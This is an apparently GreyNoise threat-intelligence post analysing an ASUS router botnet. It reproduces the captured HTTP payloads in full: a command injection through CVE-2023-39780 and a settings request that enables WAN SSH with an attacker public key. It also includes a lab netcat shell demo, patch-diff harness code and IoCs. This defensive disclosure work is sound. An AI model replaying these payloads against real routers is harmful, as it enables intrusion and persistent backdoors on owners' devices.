AyySSHush: Tradecraft of an emergent ASUS botnet

Using an AI powered network traffic analysis tool we built called SIFT, GreyNoise has caught multiple anomalous network payloads with zero-effort that are attempting to disable TrendMicro security features in ASUS routers, then exploit vulnerabilities and novel tradecraft in ASUS AiProtection features on those routers.
vulnerabilities
cybersecurity
asus
Author

remy

Published

May 28, 2025

Using an AI powered network traffic analysis tool we built called SIFT, GreyNoise has caught multiple anomalous network payloads with zero-effort that are attempting to disable TrendMicro security features in ASUS routers, then exploit vulnerabilities and novel tradecraft in ASUS AiProtection features on those routers.

Irony? Top Score. You love to see it.

Note: This activity was first discovered by GreyNoise on March 18, 2025. Public disclosure was deferred as we coordinated the findings with government and industry partners.

In summary, we are observing an ongoing wave of exploitation targeting ASUS routers, combining both old and new attack methods. After an initial wave of generic brute-force attacks targeting login.cgi, we observe subsequent attempts exploiting older authentication bypass vulnerabilities. Using either of the above methods to gain privileged access to ASUS hardware, we observe payloads exploiting a command injection vulnerability to create an empty file at /tmp/BWSQL_LOG. This existence of a file at this path enables BWDPI logging, a TrendMicro feature embedded in ASUS routers.

Finally, we see remote SSH enabled on a high port TCP/53282 through the official ASUS settings with an attacker controlled public key added to the router’s keyring. This grants the attacker exclusive SSH access. Additionally, because the backdoor is part of the official ASUS settings, it will persist across firmware upgrades, even after the original vulnerability used to gain access has been patched.

The attacker controlled pubkey that is added is:

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048

You can find an actively growing list of backdoored hosts here: Censys Search. This list provides detailed information on hosts with the backdoor in question.

Now let’s go threat hunting!

👋 botnet operator, we were watching.

SIFT

We run a number of full interaction ASUS router firmwares on our fleet of sensors (like honeypots, but with full PCAP capture and all of the analysis engines our platform has to offer attached). The observed payloads were only seen targeting our ASUS RT-AC3100 or RT-AC3200 with an Out-Of-Box configuration.

IP indicators of compromise associated with this activity:

101[.]99[.]91[.]151
101[.]99[.]94[.]173
79[.]141[.]163[.]179
111[.]90[.]146[.]237

SIFT is a machine learning model that creates daily reports of anomalous traffic that is unrelated to all previous traffic observed. This generates a visually intuitive dashboard that highlights exclusively new network payloads. Finally, a large language model analyzes the relevant context to describe the nature of each payload.

Due to the targeted nature of this botnet, its overall noise level is very quiet.

Showing 30 entries filtered from 23,314,780,316 total entries

Regardless, SIFT it caught it anyway. Good job SIFT! There were actually several items raised by SIFT, but here’s the main exported SIFT JSON report I used as a jumping-off point:

{
    "title": "Command Injection via ASUS Router HTTP Post Request",
    "totalPayloads": 3,
    "payloads": [
        "POST /start_apply.htm HTTP/1.1\r\nUser-Agent: asusrouter--\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nHost: <redacted>\r\nCookie: asus_token=\r\nConnection: keep-alive\r\nContent-Length: 219\r\n\r\ncurrent_page=AiProtection_HomeProtection.asp&action_wait=15&action_mode=apply&action_script=restart_wrs%3Brestart_firewall%3Bemail_conf%3Bsend_confirm_mail&oauth_google_refresh_token=%27%60touch+%2Ftmp%2FBWSQL_LOG%60%27",
        "POST /start_apply.htm HTTP/1.1\r\nUser-Agent: asusrouter--\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nHost: <redacted>\r\nCookie: asus_token=\r\nConnection: keep-alive\r\nContent-Length: 219\r\n\r\ncurrent_page=AiProtection_HomeProtection.asp&action_wait=15&action_mode=apply&action_script=restart_wrs%3Brestart_firewall%3Bemail_conf%3Bsend_confirm_mail&oauth_google_refresh_token=%27%60touch+%2Ftmp%2FBWSQL_LOG%60%27",
        "POST /start_apply.htm HTTP/1.1\r\nUser-Agent: asusrouter--\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nHost: <redacted>\r\nCookie: asus_token=\r\nConnection: keep-alive\r\nContent-Length: 146\r\n\r\ncurrent_page=AiProtection_HomeProtection.asp&action_wait=15&action_mode=apply&action_script=restart_wrs%3Brestart_firewall%3B&wrs_protect_enable=1"
    ],
    "webPaths": [
        "/start_apply.htm"
    ],
    "threatScore": 8,
    "attackType": [
        "Command Injection"
    ],
    "metaTags": [],
    "greynoiseTags": [
        {
            "id": "869feaa1-dc77-4037-aee2-247b7a39cf7d",
            "name": "Web Crawler",
            "slug": "web-scanner",
            "classification": "unknown",
            "cves": []
        }
    ],
    "analysisText": "The given HTTP request attempts a POST operation on an ASUS router endpoint. It specifically targets AiProtection_HomeProtection.asp page and performs multiple action scripts potentially leading to a Denial of Service (DoS). The payload also includes a command injection attack through a suspicious google oauth refresh token, which could be used to create a log file in the /tmp/ directory for further intrusions. Overall, this HTTP payload has serious potential for misuse and exploitation.",
    "sensors": [
        {
            "name": "1d75c5e0-7124-4704-a291-a513b9faed12",
            "ip": "<redacted>",
            "personaName": "ASUS RT AC3200: Out-Of-Box"
        },
        {
            "name": "1d75c5e0-7124-4704-a291-a513b9faed12",
            "ip": "<redacted>",
            "personaName": "ASUS RT AC3200: Out-Of-Box"
        }
    ],
    "sourceIps": [
        {
            "ip": "79.141.163.179",
            "seenByGreynoise": false,
            "classification": "",
            "geo": {
                "country": "",
                "asn": ""
            },
            "tags": [],
            "riot": false
        }
    ]
}

The extracted LLM description of the anomalous payload:

The given HTTP request attempts a POST operation on an ASUS router endpoint. It specifically targets AiProtection_HomeProtection.asp page and performs multiple action scripts potentially leading to a Denial of Service (DoS). The payload also includes a command injection attack through a suspicious google oauth refresh token, which could be used to create a log file in the /tmp/ directory for further intrusions. Overall, this HTTP payload has serious potential for misuse and exploitation.

And it’s absolutely right.

Pulling the Thread

The SIFT record above alerts us to investigate what else has been happening in the ASUS ecosystem.

POST /start_apply.htm

This route is common for exploitation of ASUS routers as it’s a common entrypoint for multiple authenticated function calls.

User-Agent: asusrouter--

The earliest mention I can find of this is via ATREDIS-2020-0010 where asusrouter-- is the user-agent used by internal ASUS functions.

Bruteforce

Detecting credential brute-force attempts over time is challenging, especially with ephemeral attack infrastructure. However, in this case, we observe payloads arriving in patterns consistent with brute-force authentication attempts.

Bag of Tricks

By combining credential bruteforce and 2x authentication byapss tricks, the rest of the requests are treated as authenticated. Let’s dig into the payloads.

Payload Bodies

Breaking them down a bit for easier understanding:

current_page=AiProtection_HomeProtection.asp
&action_wait=15
&action_mode=apply
&action_script=restart_wrs%3Brestart_firewall%3B
&wrs_protect_enable=1

This payload enables wrs_protect_enable=1 the commonly vulnerable featureset in AiProtection_HomeProtection.asp.

current_page=AiProtection_HomeProtection.asp
&action_wait=15&
action_mode=apply
&action_script=restart_wrs%3Brestart_firewall%3Bemail_conf%3Bsend_confirm_mail
&oauth_google_refresh_token=%27%60touch+%2Ftmp%2FBWSQL_LOG%60%27

This payload exploits CVE-2023-39780, an authenticated command injection flaw in ASUS RT-AX55 v3.0.0.4.386.51598, allowing attackers to execute arbitrary system commands.

The command being executed is touch /tmp/BWSQL_LOG, which is… highly unusual. It turns out the existstence of this file turns on “BandWidth SQLite LOGging”.

Said another way, there’s ~40 functions in the ASUS router’s bwsdpi_sqlite binary that resemble the following. Passing potentially user-controlled data to a format string and then directly to a system() call, commonly leveraged for command injection.

if (f_exists("/tmp/BWSQL_LOG") > 0)
{
    var_8f0_1 = &var_7e0;
    str_1 = str;
    snprintf(&var_420, 0x400, "echo "[BWDPI_SQLITE]%d/%d[%s] %s…", i_3, j_1, str_1, var_8f0_1);
    system(&var_420); // DANGER
}

Mystery CVE!

I’m not the only one who has noticed this vulnerability. A full write-up analyzing this critical design flaw is available here: https://leeyabug.top/ASUS-SQLI

Wed, Feb 19, 11:44 —— ASUS confirmed the vul, will add a hall of fame and assign a CVE. discovered by leeya_bug

If I wanted to ensure multiple ways to regain access to a router after being locked out, this would be an effective approach.

current_page=Advanced_System_Content.asp
&next_page=Advanced_System_Content.asp
&modified=0
&flag=
&action_mode=apply
&action_wait=5
&action_script=restart_time%3Brestart_upnp%3Brestart_usb_idle%3B
&first_time=
&preferred_lang=EN
&reboot_schedule_enable=0
&reboot_schedule_enable_x=0
&telnetd_enable=0
&sshd_enable=1
&sshd_port=53282
&sshd_port_x=53282
&sshd_pass=0
&sshd_authkeys=ssh-rsa+AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV%2BYPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay%2FxDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz%2FMPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG%2Fdj%2B37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9%2FgmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv%2Fx6IcCcKgi2w%3D%3D+rsa+2048-020623
&shell_timeout_x=20

This payload leverages built-in ASUS router features to enable SSH on both LAN and WAN, bind it to TCP/53282, and add an attacker-controlled public key::

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048-020623

Because this key is added using the official ASUS features, this config change is persisted across firmware upgrades. If you’ve been exploited previously, upgrading your firmware will NOT remove the SSH backdoor.

Can you prove that the 4,853 (and steadily increasing) hosts from this Censys search are actually backdoored with this SSH pubkey?

Yes. One of the features of sshamble by runZero is the ability to take a pubkey attacker.pub and a username, and determine if the remote host has the associated pubkey inserted.

In this case, the attacker possesses information we do not—specifically, the username. We suspect this was gathered earlier through brute force attacks. With a sample size of ~5,000, it is likely that at least one user chose “admin” as their username.

sshamble scan --checks pubkey-hunt -u admin --pubkey-hunt-file attacker.pub --input-targets censys-ips.txt

And sure enough, someone has. We can confirm that the attacker controlled pubkey has been installed for the admin user on the remote machine on TCP/53282. Something privileged that has absolutely no business being there.

"pubKeyHuntResults": [
    "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== admin"
  ]

Demoing the Attacks

After obtaining a physical ASUS RT-AX55 (which is affected by the identified CVE-2023-39780), we used the above payloads to execute commands and spawn a netcat listener without any issues.

Starting Nmap 7.80 ( https://nmap.org ) at 2025-03-21 13:10 EDT
Nmap scan report for RT-AX55-4960 (192.168.50.1)
Host is up (0.012s latency).

PORT     STATE SERVICE
1111/tcp open  lmsocialserver

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
remy@remy-XPS-13-9310:~$ nc -vvv 192.168.50.1 1111
Connection to 192.168.50.1 1111 port [tcp/*] succeeded!
��������
badmin@RT-AX55-4960:/tmp/bwdpi# ls
ls
app_patrol.conf   bwdpi.rule.db     key.enc           tmfbe_workdir
bwdpi.app.db      dcd.conf          libshn_pctrl.so   wred.conf
bwdpi.appdb.db    dcd.pid           model.enc         wred.pid
bwdpi.beh.db      dcd.stat          ntdasus2014.cert
bwdpi.cat.db      dev_wan           rule.version
bwdpi.devdb.db    guid              shn.pem

taking ARMs against a sea of troubles

While updating my new ASUS RT-AX55 to the latest firmware, I noticed a recent security update released just three days ago.

Unfortunately, the download link is broken and returns a 404 error.

Shortly afterward, the download description and link disappeared entirely.

So, I installed the latest available version and moved on. (Of course, that didn’t solve the issue.)

Patch Diffing

I do have FW_RT_AX55_300438651598.zip and FW_RT_AX55_300438652332.zip(newest) firmwares available. A quick unblob / binwalk makes quick work of extracting the squashfs-root filesystem.

The old vulnerable function looks a bit like this:

nvram_set("oauth_google_token_status", &data_174fea[0xf]);
void var_410;
memset(&var_410, 0, 0x400);

if (!check_if_dir_exist("/tmp/oauth/"))
    mkdir("/tmp/oauth/", 0x1ed);

snprintf(&var_410, 0x400, "wget --no-check-certificate --ti…", 3, 1, nvram_get(), "103584452676-437qj6gd8o9tuncit9h…", "xivDhVGSSHZ3LJMx228wdcDf", "refresh_token", "/tmp/oauth/google_access_token.j…", "https://www.googleapis.com/oauth…");

if (f_exists("/tmp/OAUTH_DEBUG") > 0)
    cprintf("[OAUTH][%s:(%d)]post cmd : %s\n", "oauth_google_check_token_status", 0x5b6, &var_410);

system(&var_410);  // DANGER

The newest patch available just wraps the above code in an if statement from an external function is_valid_auth_code from /usr/lib/libshared.so

if (is_valid_oauth_code()){
    //Same code as before
}

Authors Note: While not directly relevant to our current investigation, --no-check-certificate on the wget command means that your Google OAuth token is sent to a remote server without validating the SSL/TLS certificate. This has implications.

We grab a cross-compiler toolchain for a compatible GLIBC version from https://toolchains.bootlin.com/ and cross-compile an ARM binary that will load libshared.so, dumping a list of valid characters from the new gatekeeper function, prompting us to allow playing with the input, and passing the input through the same snprintf and system calls as in the original binary.

#Cross compile
armv5-eabi--glibc--stable-2020.02-1/bin/arm-linux-gcc -o callshared.elf callshared.c -ldl
#ELF check
file callshared.elf
#Move binary into firmware squashfs root
cp callshared.elf ./squashfs-root/bin/callshared.elf
#Move QEMU emulator binary into squashfs root
cp /usr/bin/qemu-arm-static ./squashfs-root/bin/qemu-arm-static
#Change root, load libshared.so, execute our hook
sudo chroot ./squashfs-root/ qemu-arm-static -E LD_PRELOAD="/usr/lib/libshared.so" /bin/busybox sh -c "/bin/callshared.elf"

callshared.c

#include <stdio.h>
#include <stdint.h>
#include <dlfcn.h>
#include <string.h>

#define MAX_INPUT 4096

int main()
{
    void *handle;
    int (*oc)(char *); // Function pointer with return type int
    char *error;
    char input[MAX_INPUT];
    int result;
    __uint8_t curChar;

    // Open the shared object file
    handle = dlopen("libshared.so", RTLD_LAZY);
    if (!handle)
    {
        fprintf(stderr, "%s\n", dlerror());
        return 1;
    }

    // Get a pointer to the is_valid_oauth_code function
    oc = (int (*)(char *))dlsym(handle, "is_valid_oauth_code");
    if ((error = dlerror()) != NULL)
    {
        fprintf(stderr, "%s\n", error);
        dlclose(handle);
        return 1;
    }

    for (uint16_t i = 0; i <= 0xFF; i++)
    {
        uint8_t byte_value = (uint8_t)i;
        char char_value = (char)byte_value;
        result = (*oc)(&char_value);
        if (result)
        {
            printf("Value: %3u, Hex: 0x%02X, Char: %c\n", byte_value, byte_value, char_value);
        }
    }

    // Get user input
    while (1)
    {
        printf("Enter an oauth code: ");
        if (fgets(input, MAX_INPUT, stdin) == NULL)
        {
            fprintf(stderr, "Error reading input\n");
            dlclose(handle);
            return 1;
        }

        // Remove newline character if present
        input[strcspn(input, "\n")] = 0;

        // Call the is_valid_oauth_code function with user input and store the result
        result = (*oc)(input);

        // Print the returned value
        printf("Return value: %d\n", result);

        if (result)
        {
            char buffer[1024];
            int o = snprintf(&buffer,
                             1024,
                             "wget --no-check-certificate --timeout=%d --tries=%d --method POST --header 'content-type: application/x-www-form-urlencoded' --header 'cache-control: no-cache' --body-data 'refresh_token=%s&client_id=%s&client_secret=%s&grant_type=%s' --output-document=%s %s",
                             3,
                             1,
                             input,
                             "103584452676-437qj6gd8o9tuncit9h8h7cendd2eg58.apps.googleusercontent.com",
                             "xivDhVGSSHZ3LJMx228wdcDf",
                             "refresh_token",
                             "/tmp/oauth/google_access_token.json",
                             //IP for example.com since DNS resolver doesn't exist inside emulated sandbox
                             "http://23.215.0.136/AAAAAAAAAAAAAAAAAAA");

            printf("Overflowed: %d", o);
            printf("\n%s\n", buffer);
            int e = system(buffer);
        }
    }

    // Close the shared object
    dlclose(handle);
    return 0;
}

This produces a list of allowed characters to get past this gate:

Dec Hex Char Dec Hex Char Dec Hex Char
0 0x00 9 0x09 10 0x0A
11 0x0B 12 0x0C 13 0x0D
32 0x20 43 0x2B + 45 0x2D -
46 0x2E . 47 0x2F / 48 0x30 0
49 0x31 1 50 0x32 2 51 0x33 3
52 0x34 4 53 0x35 5 54 0x36 6
55 0x37 7 56 0x38 8 57 0x39 9
65 0x41 A 66 0x42 B 67 0x43 C
68 0x44 D 69 0x45 E 70 0x46 F
71 0x47 G 72 0x48 H 73 0x49 I
74 0x4A J 75 0x4B K 76 0x4C L
77 0x4D M 78 0x4E N 79 0x4F O
80 0x50 P 81 0x51 Q 82 0x52 R
83 0x53 S 84 0x54 T 85 0x55 U
86 0x56 V 87 0x57 W 88 0x58 X
89 0x59 Y 90 0x5A Z 95 0x5F _
97 0x61 a 98 0x62 b 99 0x63 c
100 0x64 d 101 0x65 e 102 0x66 f
103 0x67 g 104 0x68 h 105 0x69 i
106 0x6A j 107 0x6B k 108 0x6C l
109 0x6D m 110 0x6E n 111 0x6F o
112 0x70 p 113 0x71 q 114 0x72 r
115 0x73 s 116 0x74 t 117 0x75 u
118 0x76 v 119 0x77 w 120 0x78 x
121 0x79 y 122 0x7A z 126 0x7E ~

The originally vulnerable CVE-2023-39780 workflow for auth_google_check_token_status appears to be correctly patched in FW_RT_AX55_300438652332. is_valid_oauth_code interestingly validates a buffer size of 2048 bytes while it’s passed to snprintf with a size of 1024, so truncation can occur. However, because the token is formatted inside of single-quotes ' this only results in a shell error. I don’t believe escaping the single-quotes of this particular function is possible given the allowed characters.

--body-data 'refresh_token=AAAAAAAAAAAAAAAAAAAAA(...)

sh: syntax error: unterminated quoted string

And since we don’t trust vendors to be thorough, we should go check the other 4 functions that are nearly identical to auth_google_check_token_status that the developers may have forgotten to use single-quotes. Alternatively, if you’re not a reverse engineer capable of checking this for yourself, get your ASUS router off the internet.

Summary and IoCs

IPs:

101[.]99[.]91[.]151
101[.]99[.]94[.]173
79[.]141[.]163[.]179
111[.]90[.]146[.]237

ASUS Filesystem:

/tmp/BWSQL-LOG
/tmp/home/root/.ssh/authorized_keys

Pubkey:

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048